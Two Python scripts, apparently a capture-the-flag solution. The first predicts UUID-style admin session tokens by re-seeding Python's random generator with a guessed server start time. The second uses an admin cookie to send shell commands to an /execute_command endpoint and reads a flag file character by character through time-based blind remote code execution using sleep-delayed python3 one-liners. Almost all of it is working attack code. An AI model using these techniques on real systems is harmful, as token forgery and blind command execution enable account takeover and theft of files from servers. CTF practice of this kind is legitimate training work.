1
import random
2
import uuid
3

4
SERVER_START_TIME = xxxxxx
5

6
def padding(input_string):
7
    byte_string = input_string.encode('utf-8')
8
    if len(byte_string) > 6:
9
        byte_string = byte_string[:6]
10
    padded_byte_string = byte_string.ljust(6, b'\x00')
11
    return int.from_bytes(padded_byte_string, byteorder='big')
12

13
def uuid8_like(a=None, b=None, c=None):
14
    if a is None:
15
        a = random.getrandbits(48)
16
    if b is None:
17
        b = random.getrandbits(12)
18
    if c is None:
19
        c = random.getrandbits(62)
20

21
    x = (a & ((1 << 48) - 1)) << 80
22
    x |= (b & 0xfff) << 64
23
    x |= c & ((1 << 62) - 1)
24

25
    x &= ~(0xf << 76)
26
    x |= 8 << 76
27

28
    x &= ~(0x3 << 62)
29
    x |= 0x2 << 62
30

31
    return str(uuid.UUID(int=x))
32

33
a = padding("admin")
34

35
for offset in range(100):
36
    random.seed(SERVER_START_TIME)
37

38
    for _ in range(offset):
39
        random.getrandbits(12)
40
        random.getrandbits(62)
41

42
    token = uuid8_like(a=a)
43
    print(offset, token)

1
import requests
2
import time
3
import argparse
4
import string
5

6
parser = argparse.ArgumentParser()
7
parser.add_argument("-u", "--url", required=True, help="目标地址，例如 http://node4.xxx:12345")
8
parser.add_argument("-c", "--cookie", required=True, help="登录 admin 后的 Cookie，例如 session=xxxx")
9
parser.add_argument("--path", default="/flag", help="flag 路径，默认 /flag")
10
parser.add_argument("--sleep", type=float, default=1.5, help="条件成立时 sleep 秒数")
11
parser.add_argument("--timeout", type=float, default=6, help="请求超时时间")
12
args = parser.parse_args()
13

14
BASE_URL = args.url.rstrip("/")
15
EXEC_URL = BASE_URL + "/execute_command"
16
FLAG_PATH = args.path
17
SLEEP_TIME = args.sleep
18
TIMEOUT = args.timeout
19

20
headers = {
21
    "Cookie": args.cookie,
22
    "Content-Type": "application/x-www-form-urlencoded",
23
    "User-Agent": "Mozilla/5.0"
24
}
25

26
def run_cmd(cmd):
27
    start = time.time()
28
    try:
29
        requests.post(
30
            EXEC_URL,
31
            headers=headers,
32
            data={"command": cmd},
33
            timeout=TIMEOUT,
34
            allow_redirects=False
35
        )
36
    except requests.exceptions.ReadTimeout:
37
        return TIMEOUT
38
    except requests.exceptions.RequestException:
39
        pass
40
    return time.time() - start
41

42
def check_delay(cmd):
43
    t = run_cmd(cmd)
44
    return t >= SLEEP_TIME * 0.75
45

46
def test_rce():
47
    print("[*] 测试 RCE 时间延迟...")
48
    t1 = run_cmd("true")
49
    t2 = run_cmd(f"sleep {SLEEP_TIME}")
50
    print(f"[+] true 用时: {t1:.2f}s")
51
    print(f"[+] sleep 用时: {t2:.2f}s")
52
    if t2 >= SLEEP_TIME * 0.75:
53
        print("[+] RCE 可用")
54
    else:
55
        print("[-] 没检测到明显延迟，检查 Cookie / time_api / 路由")
56
        exit()
57

58
def test_flag_exists():
59
    print(f"[*] 测试 {FLAG_PATH} 是否存在...")
60
    cmd = f"test -f {FLAG_PATH} && sleep {SLEEP_TIME}"
61
    if check_delay(cmd):
62
        print(f"[+] {FLAG_PATH} 存在")
63
    else:
64
        print(f"[-] {FLAG_PATH} 不存在或命令未执行")
65
        exit()
66

67
def get_length(max_len=100):
68
    print("[*] 开始爆破 flag 长度...")
69
    for n in range(1, max_len + 1):
70
        cmd = (
71
            f"python3 -c \"import time;"
72
            f"s=open('{FLAG_PATH}','rb').read();"
73
            f"time.sleep({SLEEP_TIME} if len(s)>={n} else 0)\""
74
        )
75
        if check_delay(cmd):
76
            print(f"[+] len >= {n}")
77
        else:
78
            length = n - 1
79
            print(f"[+] flag 长度: {length}")
80
            return length
81

82
    print("[-] 长度超过 max_len，调大 max_len")
83
    exit()
84

85
def get_char_by_binary(pos):
86
    low, high = 32, 126
87

88
    while low <= high:
89
        mid = (low + high) // 2
90

91
        cmd = (
92
            f"python3 -c \"import time;"
93
            f"s=open('{FLAG_PATH}','rb').read();"
94
            f"time.sleep({SLEEP_TIME} if s[{pos}]>={mid} else 0)\""
95
        )
96

97
        if check_delay(cmd):
98
            low = mid + 1
99
        else:
100
            high = mid - 1
101

102
    return chr(high)
103

104
def get_char_by_charset(pos):
105
    charset = string.ascii_letters + string.digits + "{}-_"
106
    for ch in charset:
107
        value = ord(ch)
108
        cmd = (
109
            f"python3 -c \"import time;"
110
            f"s=open('{FLAG_PATH}','rb').read();"
111
            f"time.sleep({SLEEP_TIME} if s[{pos}]=={value} else 0)\""
112
        )
113
        if check_delay(cmd):
114
            return ch
115
    return get_char_by_binary(pos)
116

117
def dump_flag(length):
118
    print("[*] 开始逐位爆破 flag...")
119
    flag = ""
120

121
    for i in range(length):
122
        ch = get_char_by_charset(i)
123
        flag += ch
124
        print(f"[{i:02d}] {repr(ch)} -> {flag}")
125

126
    return flag
127

128
if __name__ == "__main__":
129
    test_rce()
130
    test_flag_exists()
131
    length = get_length(100)
132
    flag = dump_flag(length)
133
    print("\n[+] FLAG:")
134
    print(flag)